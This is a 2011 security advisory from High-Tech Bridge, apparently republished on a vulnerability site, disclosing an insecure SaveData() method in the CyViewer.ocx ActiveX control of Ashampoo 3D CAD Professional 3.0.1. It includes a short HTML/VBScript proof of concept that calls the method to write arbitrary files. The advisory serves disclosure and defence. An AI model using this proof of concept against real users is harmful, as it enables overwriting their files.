Ashampoo 3D CAD Professional 3.0.1 Insecure Method

🗓️ 01 Jul 2011 00:00:00Reported by High-Tech Bridge SAType

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Ashampoo 3D CAD Professional 3.0.1 ActiveX Control Vulnerabilit

`Vulnerability ID: HTB23019  
Reference: http://www.htbridge.ch/advisory/ashampoo_3d_cad_professional_3_activex_control_insecure_method.html  
Product: Ashampoo 3D CAD Professional 3  
Vendor: Ashampoo GmbH & Co ( http://www.ashampoo.com )   
Vulnerable Version: 3.0.1 and probably prior  
Tested on: 3.0.1  
Vendor Notification: 07 June 2011   
Vulnerability Type: Insecure Method  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in Ashampoo 3D CAD Professional 3 ActiveX control, which can be exploited to overwrite arbitrary files.  
  
The vulnerability is caused due to the Cygnicon.ViewControl.1 (CyViewer.ocx) ActiveX control including the insecure "SaveData()" method. This can be exploited to rewrite arbitrary files in the context of the currently logged-on user.  
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:A6FC2988-16BE-4053-BE89-F562431FD6ED' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="FilePath\Filename_to_create"  
arg2="Data"  
target.SaveData arg1 ,arg2   
End Sub  
  
</script>  
</html>  
  
  
`

01 Jul 2011 00:00Current